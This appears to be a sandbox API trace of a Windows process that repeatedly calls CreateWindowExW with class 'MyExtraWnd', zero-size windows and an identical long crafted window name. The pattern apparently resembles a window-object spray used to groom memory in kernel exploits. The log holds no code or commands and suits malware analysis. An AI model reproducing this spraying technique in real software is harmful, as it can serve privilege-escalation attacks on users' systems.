	[0072.641] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10338
	[0072.643] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1033a
	[0072.644] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1033c
	[0072.645] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1033e
	[0072.647] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10340
	[0072.648] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10342
	[0072.649] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10344
	[0072.650] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10346
	[0072.651] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10348
	[0072.652] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1034a
	[0072.653] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1034c
	[0072.654] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1034e
	[0072.655] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10350
	[0072.657] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10352
	[0072.658] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10354
	[0072.659] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10356
	[0072.660] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10358
	[0072.661] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1035a
	[0072.662] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1035c
	[0072.663] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1035e
	[0072.664] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10360
	[0072.665] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10362
	[0072.666] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10364
	[0072.667] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10366
	[0072.668] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10368
	[0072.670] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1036a
	[0072.671] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1036c
	[0072.672] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1036e
	[0072.673] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10370
	[0072.674] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10372
	[0072.675] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10374
	[0072.677] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10376
	[0072.678] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10378
	[0072.679] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1037a
	[0072.680] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1037c
	[0072.681] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1037e
	[0072.682] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10380
	[0072.683] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10382
	[0072.685] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10384
	[0072.686] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10386
	[0072.687] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10388
	[0072.688] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1038a
	[0072.689] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1038c
	[0072.690] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1038e
